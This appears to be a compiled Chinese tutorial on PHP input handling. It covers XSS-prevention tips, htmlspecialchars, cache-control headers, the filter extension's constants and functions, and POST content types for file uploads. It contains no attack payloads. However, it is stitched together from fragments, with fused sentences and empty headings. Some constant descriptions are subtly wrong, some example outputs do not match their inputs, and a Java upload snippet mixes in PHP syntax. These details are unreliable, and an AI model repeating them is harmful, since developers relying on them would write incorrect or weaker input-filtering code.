对网站发动XSS攻击的方式有很多种,仅用php的一些内置过滤函数是对付不了的,即使将filter_var,mysql_real_escape_string,htmlentities,htmlspecialchars,strip_tags这些函数都使用上了也不一定能保证绝对的安全 预防XSS注入主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个Tips 1. 假定所有的用户输入数据都是"邪恶"的 2. 弱类型的脚本语言必须保证类型和期望的一致 3. 考虑周全的正则表达式 4. strip_tags、htmlspecialchars这类函数很好用 5. 外部的Js不一定就是可靠的 6. 引号过滤必须要重点注意 7. 除去不必要的HTML注释 8. Exploer$keyword = strip_tags(addslashes(trim($_GET['query'])));完全过滤掉html内容
方法一、利用php htmlentities函数 php防止XSS跨站脚本攻击的方法:针对非法的HTML代码包括单双引号等使用htmlspecialchars()函数 htmlspecialchars($string)第二个参数默认ENT_COMPAT,默认只是转化双引号而不对单引号转义,所以更多的时候要加上第二个参数,htmlspecialchars($string,ENT_QUOTES) 少用htmlentities,全英文时htmlentities和htmlspecialchars没区别,都可以达到目的;但有中文时htmlentities会转化所有的html代码,连同它无法识别的中文字符也给转化了。 htmlentities和htmlspecialchars这两个函数对之类的字符串支持不好,都不能转化,所以用htmlentities和htmlspecialchars转化的字符串只能防止XSS攻击,不能防止SQL注入攻击 所有有打印的语句如echo,print等在打印前都要使用htmlentities()进行过滤,这样可以防止Xss,注意中文要写出htmlentities($name,ENT_NOQUOTES,GB2312)方法二方法三: php防注入和XSS攻击通用过滤
【 表单过期的处理 】
在开发过程中经常会出现表单出错而返回页面时填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。
1、使用header头设置缓存控制头Cache-control
header('Cache-control: private, must-revalidate'); //支持页面回跳
Cache-Control指定请求和响应遵循的缓存机制,在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。
请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh和only-if-cached
响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate和max-age
缓存指令 说 明
public 指示响应可被任何缓存区缓存
private 指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效
no-cache 指示请求或响应消息不能缓存
no-store 用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存
max-age 指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应
min-fresh 指示客户机可以接收响应时间小于当前时间加上指定时间的响应
max-stale 指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息
2、使用session_cache_limiter方法。
session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前
下面的代码片断可以防止用户填写表单的时候,单击提交按钮返回时刚刚在表单上填写的内容不会被清除:
session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start();
//以下是表单内容,这样在用户返回该表单时已经填写的内容不会被清空,将该段代码贴到所要应用的脚本顶部即可。
filter过滤器
通过使用过滤器能够确保应用程序获得正确的输入类型 用于验证和过滤来自外部非安全来源的数据,如用户输入或其他应用程序,如表单、cookie、webservers data、服务器变量、数据库查询结果 测试、验证和过滤用户输入或自定义数据是Web应用程序的重要组成部分,应始终对外部数据进行过滤 PHP的过滤器扩展的设计目的是使数据过滤更轻松快捷
预定义常量
下列常量由此扩展定义,且仅在此扩展编译入PHP或在运行时动态载入时可用。 INPUT_POST (integer) POST变量 INPUT_GET (integer) GET变量 INPUT_COOKIE (integer) COOKIE变量 INPUT_ENV (integer) ENV变量 INPUT_SERVER (integer) SERVER变量 INPUT_SESSION (integer) SESSION变量,暂未实现 INPUT_REQUEST (integer) REQUEST变量,暂未实现 FILTER_FLAG_NONE (integer) 没有标记。 FILTER_REQUIRE_SCALAR (integer) 此标记要求输入的是标量 FILTER_REQUIRE_ARRAY (integer) 需要输入的是数组 FILTER_FORCE_ARRAY (integer) 一律返回数组 FILTER_NULL_ON_FAILURE (integer) 失败时返回NULL,而非FALSE FILTER_VALIDATE_INT (integer) 标记"int"过滤器 FILTER_VALIDATE_BOOLEAN (integer) 标记"boolean"过滤器 FILTER_VALIDATE_FLOAT (integer) 标记"float"过滤器 FILTER_VALIDATE_REGEXP (integer) 标记"validate_regexp"过滤器 FILTER_VALIDATE_URL (integer) 标记"validate_url"过滤器 FILTER_VALIDATE_EMAIL (integer) 标记"validate_email"过滤器 FILTER_VALIDATE_IP (integer) 标记"validate_ip"过滤器 FILTER_VALIDATE_MAC (integer) 标记"validate_mac_address"过滤器,PHP5.5.0起有效 FILTER_DEFAULT (integer) 标记默认的"unsafe_raw"过滤器,等同于FILTER_UNSAFE_RAW FILTER_UNSAFE_RAW (integer) 标记"unsafe_raw"过滤器 FILTER_SANITIZE_STRING (integer) 标记"string"过滤器 FILTER_SANITIZE_STRIPPED (integer) 标记"stripped"过滤器 FILTER_SANITIZE_ENCODED (integer) 标记"encoded"过滤器 FILTER_SANITIZE_SPECIAL_CHARS (integer) 标记"special_chars"过滤器 FILTER_SANITIZE_EMAIL (integer) 标记"email"过滤器 FILTER_SANITIZE_URL (integer) 标记"url"过滤器 FILTER_SANITIZE_NUMBER_INT (integer) 标记"number_int"过滤器 FILTER_SANITIZE_NUMBER_FLOAT (integer) 标记"number_float"过滤器 FILTER_SANITIZE_MAGIC_QUOTES (integer) 标记"magic_quotes"过滤器 FILTER_CALLBACK (integer) 标记"callback"过滤器 FILTER_FLAG_ALLOW_OCTAL (integer) "int"过滤器允许八进制(octal)标记的字符(0[0-7]+) FILTER_FLAG_ALLOW_HEX (integer) "int"过滤器允许十六进制(Hex)标记的字符(0x[0-9a-fA-F]+) FILTER_FLAG_STRIP_LOW (integer) 过滤ASCII编码值大于32的字符 FILTER_FLAG_STRIP_HIGH (integer) 过滤ASCII编码值大于127的字符 FILTER_FLAG_ENCODE_LOW (integer) 字符的ASCII编码值大于32 FILTER_FLAG_ENCODE_HIGH (integer) 字符的ASCII编码值大于127 FILTER_FLAG_ENCODE_AMP (integer) 为&编码 FILTER_FLAG_NO_ENCODE_QUOTES (integer) 不要为'和"编码 FILTER_FLAG_EMPTY_STRING_NULL (integer) 目前不能使用 FILTER_FLAG_ALLOW_FRACTION (integer) "number_float"过滤器允许小数部分 FILTER_FLAG_ALLOW_THOUSAND (integer) "number_float"过滤器允许使用千分位分隔符(,) FILTER_FLAG_ALLOW_SCIENTIFIC (integer) "number_float"过滤器允许使用科学计数法(e、E) FILTER_FLAG_PATH_REQUIRED (integer) "validate_url"过滤器,要求带路径部分 FILTER_FLAG_QUERY_REQUIRED (integer) "validate_url"过滤器,要求带Query部分 FILTER_FLAG_IPV4 (integer) "validate_ip" 过滤器,仅仅允许IPv4地址 FILTER_FLAG_IPV6 (integer) "validate_ip" 过滤器,仅仅允许IPv6地址 FILTER_FLAG_NO_RES_RANGE (integer) "validate_ip"过滤器,禁止保留IP地址 FILTER_FLAG_NO_PRIV_RANGE (integer) "validate_ip"过滤器,禁止私有IP地址 FILTER_FLAG_EMAIL_UNICODE (integer) "validate_email"过滤器,在邮件地址用户名部分允许Unicode字符,PHP7.1.0起有效
过滤变量的过滤器函数
【 filter_list() 】
array filter_list ( void )
返回的数组包含所有支持的过滤器名称
【 filter_id() 】
int filter_id ( string $filtername )
返回指定过滤器的ID号
var_export(filter_list());
array (
'int', 'boolean', 'float', 'email', 'string', 'url','number_int','number_float',
'validate_regexp', 'validate_domain', 'validate_url', 'validate_email', 'validate_ip', 'validate_mac',
'stripped','encoded','special_chars','full_special_chars','unsafe_raw','magic_quotes','callback'
)
var_dump(filter_id('validate_url')); // int 273
var_dump(filter_id('validate_email')); // int 274
var_dump(filter_id('validate_ip')); // int 275
var_dump(filter_id('email')); // int 517
var_dump(filter_id('url')); // int 518
【 filter_has_var() 】
bool filter_has_var ( int $type ,string $variable_name )
检测是否存在指定类型的变量,成功返回TRUE,否则FALSE
type参数是INPUT_GET、INPUT_POST、INPUT_COOKIE、INPUT_SERVER、INPUT_ENV里的其中一个。
variable_name参数表示要检查的变量名。
echo filter_has_var(INPUT_GET,'email') ? "Email Found" : "Email Not Found";
http://localhost/study/php/hello.php?email=1 // Email Found
http://localhost/study/php/hello.php?email // Email Found
http://localhost/study/php/hello.php // Email Not Found
$_GET['email']="info@nanhe.in";
echo filter_has_var(INPUT_GET,'email') ? "Email Found" : "Email Not Found";
http://localhost/study/php/hello.php // Email Not Found
【 filter_var() 】
mixed filter_var ( mixed $variable [,int $filter = FILTER_DEFAULT [,mixed $options ]] )
使用特定的过滤器过滤一个变量,返回被过滤的数据,失败则返回FALSE
variable参数表示待过滤的变量,标量的值在过滤前会被转换成字符串。
filter参数规定要使用的过滤器ID,默认FILTER_DEFAULT(FILTER_UNSAFE_RAW),可以是ID名称(FILTER_VALIDATE_EMAIL)或ID号(274)
options参数规定一个包含标志/选项的关联数组或一个单一的标志/选项
一个选项的关联数组或按位区分的标示。如果过滤器接受选项可以通过数组的"flags"位去提供这些标示。
使用FILTER_VALIDATE_INT过滤器来过滤变量,使用false来判定PHP自带方法验证邮箱是否存在, 【 FILTER_CALLBACK 】 调用自定义的或已存在的函数作为一个过滤器来过滤数据,这样就拥有数据过滤的完全控制权 对于回调型的过滤器应该传入callable,这个回调函数必须接受一个参数即待过滤的值,并且返回一个在过滤/净化后的值。 filter命名空间 filter_var($value, \FILTER_VALIDATE_URL)
【 选项和标志 】 选项和标志用于向指定的过滤器添加额外的过滤选项,不同的过滤器有不同的选项和标志 $var = 100; $min = 1; $max = 200; $int_options = array( "options" => ["min_range"=>$min,"max_range"=>$max] ); echo(filter_var($var,FILTER_VALIDATE_INT,$int_options) ? "是个合法的整数" : "不是一个合法的整数");验证输入
【 filter_var_array() 】 mixed filter_var_array ( array $data [,mixed $definition [,bool $add_empty = true ]] ) 获取多个变量并且通过相同或不同的过滤器来过滤它们,不需要重复调用filter_var()就能获取多个变量 参数data是数组,键为字符串,值为待过滤的数据 参数definition可以是单一过滤器的ID或一个定义过滤器参数的关联数组,键必须是一个包含变量名的string,值是一个filter type或一个filter constant的整数或一个array指明了过滤器、标示和选项。如果值是一个数组,那么其有效的键可以是filter用于指明filter type,flags用于指明任何想要用于过滤器的标示,或者options用于指明任何想要用于过滤器的选项。 该参数是一个单一的过滤器ID时输入数组中的所有值由指定过滤器进行过滤,过滤器ID可以是ID名称(FILTER_VALIDATE_EMAIL)或ID号(274) 参数add_empty表示在返回值中添加NULL作为不存在的键。 返回值 成功则返回一个包含所请求变量的数组,失败时返回FALSE;一个数组的值如果过滤失败则为FALSE,或者为NULL如果变量不存在的话。
【 filter_input() 】 mixed filter_input ( int $type ,string $variable_name [,int $filter = FILTER_DEFAULT [,mixed $options ]] ) 通过名称获取特定的外部变量,并且可以通过过滤器处理它,成功则返回所请求的变量,过滤失败则返回FALSE,如果variable_name不存在的话则返NULL。如果标示FILTER_NULL_ON_FAILURE被使用了,那么当变量不存在时返回FALSE,当过滤失败时返回NULL 参数type规定输入类型,INPUT_GET,INPUT_POST,INPUT_COOKIE,INPUT_SERVER或INPUT_ENV之一。 参数variable_name规定要过滤的变量,即待获取的变量名。 参数filter: The ID of the filter to apply,If omitted,FILTER_DEFAULT will be used,which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default. 参数options: 一个选项的关联数组或按位区分的标示。如果过滤器接受选项,可以通过数组的"flags"位去提供这些标示。
【 filter_input_array() 】 mixed filter_input_array ( int $type [,mixed $definition [,bool $add_empty = true ]] ) 从脚本外部获取多个输入变量,并通过相同的或不同的过滤器进行过滤 获取一系列外部变量并且可通过过滤器处理它们,这个函数当需要获取很多变量却不想重复调用filter_input()时很有用 参数type是INPUT_GET,INPUT_POST,INPUT_COOKIE,INPUT_SERVER or INPUT_ENV之一。 参数definition 一个定义参数的数组。一个有效的键必须是一个包含变量名的string,一个有效的值要么是一个filter type,或者是一个array指明了过滤器、标示和选项。如果值是一个数组,那么它的有效的键可以是filter,用于指明filter type,flags用于指明任何想要用于过滤器的标示,或者options用于指明任何想要用于过滤器的选项 这个参数也可以是一个filter constant的整数。那么数组中的所有变量都会被这个过滤器所过滤。 参数add_empty表示在返回值中添加NULL作为不存在的键。 返回值 如果成功的话返回一个所请求的变量的数组,如果失败的话返回FALSE。对于数组的值,如果过滤失败则返回FALSE,如果variable_name不存在的话则返回NULL。如果标示FILTER_NULL_ON_FAILURE被使用了,那么当变量不存在时返回FALSE,当过滤失败时返回NULL
使用PHP过滤器(Filter)进行严格表单验证
使用Filter可以对表单必填域验证、数字验证、email验证、下拉菜单验证、单选按钮验证、复选框验证等 使用Filter可以节省很多正则,例如验证email、INT、bool,并且filter_has_var函数比isset函数要更快使用filter_var_array或filter_input_array函数过滤表单多个输入字段
两种过滤器: Validating 和 Sanitizing
【 Validate filters 】
用于验证用户输入,严格的格式规则(如URL或E-Mail验证),成功则返回预期的类型,失败则返回FALSE
1、ID: FILTER_VALIDATE_BOOLEAN
Name: "boolean"
Options: default
Flags: FILTER_NULL_ON_FAILURE
Description: Returns TRUE for "1","true","on" and "yes",Returns FALSE otherwise
If FILTER_NULL_ON_FAILURE is set,FALSE is returned only for "0"、"false"、"off"、"no" and "",and NULL is returned for all non-boolean values.
2、FILTER_VALIDATE_DOMAIN
"validate_domain"
default
FILTER_FLAG_HOSTNAME
Validates whether the domain name label lengths are valid.
Validates domain names against RFC 1034,RFC 1035,RFC 952,RFC 1123,RFC 2732,RFC 2181,and RFC 1123. Optional flag FILTER_FLAG_HOSTNAME adds ability to specifically validate hostnames (they must start with an alphanumberic character and contain only alphanumerics or hyphens).
3、FILTER_VALIDATE_EMAIL
"validate_email"
default
FILTER_FLAG_EMAIL_UNICODE
Validates whether the value is a valid e-mail address.
In general,this validates e-mail addresses against the syntax in RFC 822,with the exceptions that comments and whitespace folding and dotless domain names are not supported.
4、FILTER_VALIDATE_FLOAT
"float"
default,decimal
FILTER_FLAG_ALLOW_THOUSAND
Validates value as float,and converts to float on success.
5、FILTER_VALIDATE_INT
"int"
default,min_range,max_range
FILTER_FLAG_ALLOW_OCTAL,FILTER_FLAG_ALLOW_HEX
Validates value as integer,optionally from the specified range,and converts to int on success.
$number="5-2+3pp";
var_dump(filter_var($number, FILTER_VALIDATE_INT)); // bool(false)
var_dump(filter_var($number, FILTER_SANITIZE_NUMBER_INT)); // string(5) "5-2+3"
$var=300;
$int_options = array("options"=>
array("min_range"=>0, "max_range"=>256));
var_dump(filter_var($var, FILTER_VALIDATE_INT, $int_options)); // bool(false)
6、FILTER_VALIDATE_IP
"validate_ip"
default
FILTER_FLAG_IPV4,FILTER_FLAG_IPV6,FILTER_FLAG_NO_PRIV_RANGE,FILTER_FLAG_NO_RES_RANGE
Validates value as IP address,optionally only IPv4 or IPv6 or not from private or reserved ranges
7、FILTER_VALIDATE_MAC
"validate_mac_address"
default
Validates value as MAC address.
8、FILTER_VALIDATE_REGEXP
"validate_regexp"
default,regexp
Validates value against regexp,a Perl-compatible regular expression.
9、FILTER_VALIDATE_URL
"validate_url"
default
FILTER_FLAG_SCHEME_REQUIRED,FILTER_FLAG_HOST_REQUIRED,FILTER_FLAG_PATH_REQUIRED,FILTER_FLAG_QUERY_REQUIRED
Validates value as URL,optionally with required components. Beware a valid URL may not specify the HTTP protocol http:// so further validation may be required to determine the URL uses an expected protocol,e.g. ssh:// or mailto:. Note that the function will only findASCIIURLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.
【 Sanitize filters 】
净化,用于允许或禁止字符串中指定的字符,无数据格式规则,始终返回字符串
1、ID: FILTER_SANITIZE_EMAIL
Name: "email"
Description: Remove all characters except letters,digits and !#$%&'*+-=?^_`{|}~@.[].
2、ID: FILTER_SANITIZE_ENCODED
Name: "encoded"
Flags: FILTER_FLAG_STRIP_LOW,FILTER_FLAG_STRIP_HIGH,FILTER_FLAG_STRIP_BACKTICK,FILTER_FLAG_ENCODE_LOW,FILTER_FLAG_ENCODE_HIGH
Description: URL-encode string,optionally strip or encode special characters.
去除或URL编码不需要的字符,该过滤器与urlencode()函数很类似
$url="http://www.w3cschool.cn";
var_dump(filter_var($url,FILTER_SANITIZE_ENCODED)); // string(30) "http%3A%2F%2Fwww.w3cschool.cn"
3、FILTER_SANITIZE_MAGIC_QUOTES
"magic_quotes"
Apply addslashes().
4、FILTER_SANITIZE_NUMBER_FLOAT
"number_float"
FILTER_FLAG_ALLOW_FRACTION,FILTER_FLAG_ALLOW_THOUSAND,FILTER_FLAG_ALLOW_SCIENTIFIC
Remove all characters except digits(数字),+- and optionally .,eE.
5、FILTER_SANITIZE_NUMBER_INT
"number_int"
Remove all characters except digits,plus and minus sign,删除数字中所有非法的字符
$number="5-2+3pp";
var_dump(filter_var($number, FILTER_SANITIZE_NUMBER_INT)); // string(5) "5-2+3"
6、FILTER_SANITIZE_SPECIAL_CHARS
"special_chars"
FILTER_FLAG_STRIP_LOW,FILTER_FLAG_STRIP_HIGH,FILTER_FLAG_STRIP_BACKTICK,FILTER_FLAG_ENCODE_HIGH
HTML-escape '"<>& and characters with ASCII value less than 32,optionally strip or encode other special characters
HTML转义字符'"<>&以及ASCII值小于32的特殊字符
$url="Is Peter < smart> & funny?";
var_dump(filter_var($url,FILTER_SANITIZE_SPECIAL_CHARS)); // string(37) "Is Peter < smart> & funny?"
如果在浏览器中查看源代码会看到以下HTML:
string(37) "Is Peter & lt;smart& gt; & amp; funny?"
7、FILTER_SANITIZE_FULL_SPECIAL_CHARS
"full_special_chars"
FILTER_FLAG_NO_ENCODE_QUOTES,
Equivalent to calling htmlspecialchars() with ENT_QUOTES set. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. Like htmlspecialchars(),this filter is aware of the default_charset and if a sequence of bytes is detected that makes up an invalid character in the current character set then the entire string is rejected resulting in a 0-length string. When using this filter as a default filter,see the warning below about setting the default flags to 0.
用于对"<>&以及ASCII值在32值以下的特殊字符进行html转义
$url="Is Peter < smart> & funny?";
var_dump(filter_var($url,FILTER_SANITIZE_SPECIAL_CHARS)); // string(37) "Is Peter < smart> & funny?"
如果在浏览器中查看源代码会看到以下HTML:
string(37) "Is Peter & lt;smart& gt; & amp; funny?"
8、FILTER_SANITIZE_STRING
"string"
FILTER_FLAG_NO_ENCODE_QUOTES,FILTER_FLAG_STRIP_LOW,FILTER_FLAG_STRIP_HIGH,FILTER_FLAG_STRIP_BACKTICK,FILTER_FLAG_ENCODE_LOW,FILTER_FLAG_ENCODE_HIGH,FILTER_FLAG_ENCODE_AMP
Strip tags,optionally strip or encode special characters.
这个过滤器删除那些对应用程序有潜在危害的数据,它用于去除标签以及删除或编码不需要的字符
$var="< b>Bill Gates< b>";
var_dump(filter_var($var, FILTER_SANITIZE_STRING)); // string(13) "Bill Gates"
9、FILTER_SANITIZE_STRIPPED
"stripped"
Alias of "string" filter
10、FILTER_SANITIZE_URL
"url"
Remove all characters except letters,digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
$var="http://www.w3cschooåøl.cøc";
var_dump(filter_var($var, FILTER_SANITIZE_URL)); // string(24) "http://www.w3cschool.cn"
11、FILTER_UNSAFE_RAW
"unsafe_raw"
FILTER_FLAG_STRIP_LOW,FILTER_FLAG_STRIP_HIGH,FILTER_FLAG_STRIP_BACKTICK,FILTER_FLAG_ENCODE_LOW,FILTER_FLAG_ENCODE_HIGH,FILTER_FLAG_ENCODE_AMP
Do nothing,optionally strip or encode special characters. This filter is also aliased to FILTER_DEFAULT
Filter flags
1、ID: FILTER_FLAG_STRIP_LOW
Used with: FILTER_SANITIZE_ENCODED,FILTER_SANITIZE_SPECIAL_CHARS,FILTER_SANITIZE_STRING,FILTER_UNSAFE_RAW
Description: Strips characters that have a numerical value < 32
2、FILTER_FLAG_STRIP_HIGH
FILTER_SANITIZE_ENCODED,FILTER_SANITIZE_SPECIAL_CHARS,FILTER_SANITIZE_STRING,FILTER_UNSAFE_RAW
Strips characters that have a numerical value > 127
3、FILTER_FLAG_STRIP_BACKTICK
FILTER_SANITIZE_ENCODED,FILTER_SANITIZE_SPECIAL_CHARS,FILTER_SANITIZE_STRING,FILTER_UNSAFE_RAW
Strips backtick characters (`)
4、FILTER_FLAG_ALLOW_FRACTION
FILTER_SANITIZE_NUMBER_FLOAT
Allows a period (.) as a fractional(分数) separator in numbers
5、FILTER_FLAG_ALLOW_THOUSAND
FILTER_SANITIZE_NUMBER_FLOAT,FILTER_VALIDATE_FLOAT
Allows a comma (,) as a thousands separator in numbers
6、FILTER_FLAG_ALLOW_SCIENTIFIC
FILTER_SANITIZE_NUMBER_FLOAT
Allows an e or E for scientific notation in numbers
7、FILTER_FLAG_NO_ENCODE_QUOTES
FILTER_SANITIZE_STRING
If this flag is present,single (') and double (") quotes will not be encoded
8、FILTER_FLAG_ENCODE_LOW
FILTER_SANITIZE_ENCODED,FILTER_SANITIZE_STRING,FILTER_SANITIZE_RAW
Encodes all characters with a numerical value < 32
9、FILTER_FLAG_ENCODE_HIGH
FILTER_SANITIZE_ENCODED,FILTER_SANITIZE_SPECIAL_CHARS,FILTER_SANITIZE_STRING,FILTER_SANITIZE_RAW
Encodes all characters with a numerical value > 127
10、FILTER_FLAG_ENCODE_AMP
FILTER_SANITIZE_STRING,FILTER_SANITIZE_RAW
Encodes ampersands (&)
11、FILTER_NULL_ON_FAILURE
FILTER_VALIDATE_BOOLEAN
Returns NULL for unrecognized boolean values
12、FILTER_FLAG_ALLOW_OCTAL
FILTER_VALIDATE_INT
Regards inputs starting with a zero (0) as octal numbers. This only allows the succeeding digits to be 0-7
13、FILTER_FLAG_ALLOW_HEX
FILTER_VALIDATE_INT
Regards inputs starting with 0x or 0X as hexadecimal numbers. This only allows succeeding characters to be a-fA-F0-9.
14、FILTER_FLAG_EMAIL_UNICODE
FILTER_VALIDATE_EMAIL
Allows the local part of the email address to contain Unicode characters.
15、FILTER_FLAG_IPV4
FILTER_VALIDATE_IP
Allows the IP address to be in IPv4 format.
16、FILTER_FLAG_IPV6
FILTER_VALIDATE_IP
Allows the IP address to be in IPv6 format.
17、FILTER_FLAG_NO_PRIV_RANGE
FILTER_VALIDATE_IP
Fails validation for the following private IPv4 ranges: 10.0.0.0/8,172.16.0.0/12 and 192.168.0.0/16.
Fails validation for the IPv6 addresses starting with FD or FC.
18、FILTER_FLAG_NO_RES_RANGE
FILTER_VALIDATE_IP
Fails validation for the following reserved IPv4 ranges: 0.0.0.0/8,169.254.0.0/16,127.0.0.0/8 and 240.0.0.0/4.
Fails validation for the following reserved IPv6 ranges: ::1/128,::/128,::ffff:0:0/96 and fe80::/10.
19、FILTER_FLAG_SCHEME_REQUIRED
FILTER_VALIDATE_URL
Requires the URL to contain a scheme part
20、FILTER_FLAG_HOST_REQUIRED
FILTER_VALIDATE_URL
Requires the URL to contain a host part
21、FILTER_FLAG_PATH_REQUIRED
FILTER_VALIDATE_URL
Requires the URL to contain a path part
22、FILTER_FLAG_QUERY_REQUIRED
FILTER_VALIDATE_URL
Requires the URL to contain a query string
23、FILTER_REQUIRE_SCALAR
Requires the value to be scalar(标量)
24、FILTER_REQUIRE_ARRAY
Requires the value to be an array
25、FILTER_FORCE_ARRAY
If the value is a scalar,it is treated as array with the scalar value as only element.
通过PHP把文件上传到服务器
四种常见的POST提交数据方式对应的content-type取值
application/x-www-form-urlencoded和multipart/form-data这两种POST数据的方式都是浏览器原生支持的,现阶段原生form表单也只支持这两种方式。但是随着越来越多的Web站点尤其是WebApp全部使用Ajax进行数据交互之后,完全可以定义新的数据提交方式,给开发带来更多便利
【 application/x-www-form-urlencoded 】
这是最常见的POST提交数据的方式,浏览器的原生form表单如果不设置enctype属性最终就会以application/x-www-form-urlencoded方式提交数据
Content-Type被指定为application/x-www-form-urlencoded,提交的数据按照key1=val1&key2=val2的方式进行编码,key和val都进行了URL转码
很多时候用Ajax提交数据时也是使用这种方式,例如JQuery和QWrap的Ajax,Content-Type默认值都是「application/x-www-form-urlencoded;charset=utf-8」
POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8
title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3
【 multipart/form-data请求 】
使用表单上传文件时必须让form的enctyped等于multipart/form-data
根据http/1.1 rfc 2616的协议规定,请求方式只有OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE等,为何还会有multipart/form-data请求之说呢?
http协议是规定了以ASCII码传输,建立在tcp、ip协议之上的应用层规范,规范内容把http请求分为3个部门: 状态行,请求头,请求体。所有的方法、实现都是围绕如何运用和组织这三部分来完成的,只要了解了http请求的组成部分后,自然就可以应变任何实际工作中的需求和问题
既然http协议本身的原始方法不支持multipart/form-data请求,那这个请求自然就是由这些原始的方法演变而来的,具体如何演变:
1、multipart/form-data的基础方法是post,也就是说是由post方法来组合实现的
2、multipart/form-data与post方法的不同之处: 请求头,请求体。
3、multipart/form-data的请求头必须包含一个特殊的头信息Content-Type,且其值必须为multipart/form-data,同时还规定一个内容分割符用于分割请求体中的多个post的内容,如文件内容和文本内容分割开来,不然接收方就无法正常解析和还原这个文件了
Content-Type: multipart/form-data; boundary=${bound}
${bound}是一个占位符,代表分割符,可以自己任意规定,但为了避免和正常文本重复尽量使用复杂的内容。如: -----56498738365
4、multipart/form-data的请求体也是一个字符串,不过构造方式和post的请求体不同,post是简单的name=value值连接,而multipart/form-data则是添加了分隔符等内容的构造体
可看出这个请求体是多个相同的部分组成的: 每一个部分都是以--加分隔符开始的,然后是该部分内容的描述信息,然后一个回车,然后是描述信息的具体内容;如果传送的内容是一个文件的话还会包含文件名信息以及文件内容的类型。上面第二个小部分就是一个文件体的结构,最后会以--分割符--结尾,表示请求体结束。 综上可知要发送一个multipart/form-data的请求,其实任何支持post请求的工具或语言都可以支持,只是自己要稍微包装一下便可。
首先生成了一个boundary用于分割不同的字段,为了避免与正文内容重复boundary很长很复杂。然后Content-Type里指明了数据是以mutipart/form-data来编码
消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以--boundary开始,紧接着内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件还要包含文件名和文件类型信息。消息主体最后以--boundary--标示结束
【 application/json 】
application/json这个Content-Type作为响应头,现在被越来越多的人把它作为请求头,用来告诉服务端消息主体是序列化后的JSON字符串。由于JSON规范的流行,除了低版本IE之外的各大浏览器都原生支持JSON.stringify,服务端语言也都有处理JSON的函数,使用JSON不会遇上什么麻烦,JSON格式支持比键值对复杂得多的结构化数据
Google的AngularJS中的Ajax功能默认就是提交JSON字符串。例如下面这段代码:
var data = {'title':'test','sub' : [1,2,3]};
$http.post(url,data).success(function(result) {
...
});
最终发送的请求是:
POST http://www.example.com HTTP/1.1
Content-Type: application/json;charset=utf-8
{"title":"test","sub":[1,2,3]}
这种方案可以方便的提交复杂的结构化数据,特别适合RESTful的接口。各大抓包工具如Chrome自带的开发者工具、Firebug、Fiddler,都会以树形结构展示JSON数据,非常友好。但也有些服务端语言还没有支持这种方式,例如php就无法通过$_POST对象从上面的请求中获得内容。这时候需要自己动手处理下: 在请求头中Content-Type为application/json时,从php://input里获得原始输入流,再json_decode成对象
【 text/xml 】
XML-RPC(XML Remote Procedure Call)是一种使用HTTP作为传输协议,XML作为编码方式的远程调用规范。典型的XML-RPC请求是这样的:
XML-RPC协议简单、功能够用,各种语言的实现都有。它的使用也很广泛,如WordPress的XML-RPC Api,搜索引擎的ping服务等等。JavaScript中也有现成的库支持以这种方式进行数据交互,能很好的支持已有的XML-RPC服务。不过XML结构还是过于臃肿,一般场景用JSON会更灵活方便。
【 Content-disposition 】
Content-disposition是MIME协议的扩展,MIME协议指示MIME用户代理如何显示附加的文件,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地
当Internet Explorer接收到头时它会激活文件下载对话框,它的文件名框自动填充了头中指定的文件名。这是设计导致的;无法使用此功能将文档保存到用户的计算机上而不向用户询问保存位置。
1.上传文件请求头:
Content-type: multipart/form-data; boundary=---+boundary(注1)
--------------------+boundary(注2)
Content-Disposition: form-data; name=file;filename=test.txt;
Content-Type: text/plain;
------------------+boundary--(注3)
a)注1一般用系统时间(一串数字)来做为boundary值
b)注1和注2前面的------不可省,做为分隔符存在的
c)注2必须单独一行
d)两个content-type,第一个告诉客户端要用表单上传文件,第二个表示上传的文件类型,如果不知道文件类型的话可以设为application/octet-stream表示以二进制流的形式上传下载
e)--{boundary} http协议的Form的分隔符,表示结束的话在其后面加—,如注3; 另外在每一段信息描述后要跟一个\r\n再跟文件数据,文件数据后面也要跟一个\r\n
f)分隔符的标志: ---------7d是 IE特有的标志,Mozila为-------------71.
g)多文件上传必须用multipart/mixed
h)微信中模拟上传永久素材时name值为media,应该是参数问题
例:
String boundary = "----------" + System.currentTimeMillis();
con.setRequestProperty("Content-Type","multipart/form-data; boundary="+ boundary);
StringBuffer strBf = new StringBuffer();
strBf.append("-----").append(boundary).append("" . PHP_EOL)
.append("Content-Disposition: form-data;name=\"file\";filename=\"" + file.getName() + "\"" . PHP_EOL) .append("Content-Type:application/octet-stream\r\n" . PHP_EOL);
2.下载请求头
例: Content-Disposition: attachment; filename=FileName.txt
Content-Disposition就是当用户想把请求所得的内容存为一个文件的时候提供一个默认的文件名。格式如下:
content-disposition= "Content-Disposition" ":"disposition-type *( ";" disposition-parm )
disposition-type= "attachment" | disp-extension-token
disposition-parm= filename-parm | disp-extension-parm
filename-parm= "filename" "=" quoted-string
disp-extension-token= token
disp-extension-parm = token "=" (token | quoted-string )
